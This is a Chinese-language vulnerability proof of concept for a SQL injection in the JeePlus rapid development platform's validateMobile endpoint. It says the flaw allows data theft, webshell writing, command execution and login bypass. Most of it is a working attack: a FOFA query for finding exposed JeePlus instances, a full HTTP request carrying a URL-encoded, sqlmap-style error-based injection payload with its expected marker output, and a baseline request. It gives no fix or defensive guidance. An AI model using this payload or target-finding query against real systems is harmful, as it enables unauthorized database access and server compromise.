JeePlus快速开发平台 validateMobile SQL注入
一、漏洞简介
JeePlus快速开发平台 validateMobile SQL注入，黑客可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
二、影响版本
- JeePlus快速开发平台
三、资产测绘
- fofa
app="JeePlus" - 特征
四、漏洞复现
GET /a/sys/user/validateMobile?&mobile=1%27+AND+GTID_SUBSET%28CONCAT%280x71626b7171%2C%28SELECT+%28ELT%285680%3D5680%2C1%29%29%29%2C0x7176767671%29%2C5680%29--+ywwp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
qbkqq1qvvvqsqlmap
GET /a/sys/user/validateMobile?&mobile=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close